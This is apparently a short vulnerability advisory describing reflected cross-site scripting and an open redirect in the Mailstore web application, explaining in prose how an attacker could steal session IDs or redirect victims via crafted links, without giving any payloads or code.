The in-built Webapplication does not properly validate untrusted input in several variables. This leads to both Reflected Cross-Site-Scripting (XSS) and an Open Redirect. Effect: To exploit the reflected XSS, the victim has to be authenticated to the Mailstore Webapplication. By clicking on a link sent to a victim, an attacker could for example copy the victims Session-ID to his on data sink. Sending another link with a crafted URL, the attacker could redirect the victim to a malicious website, while the link itself points to the trusted Mailstore-Address. The victim is not required to be authenticated.
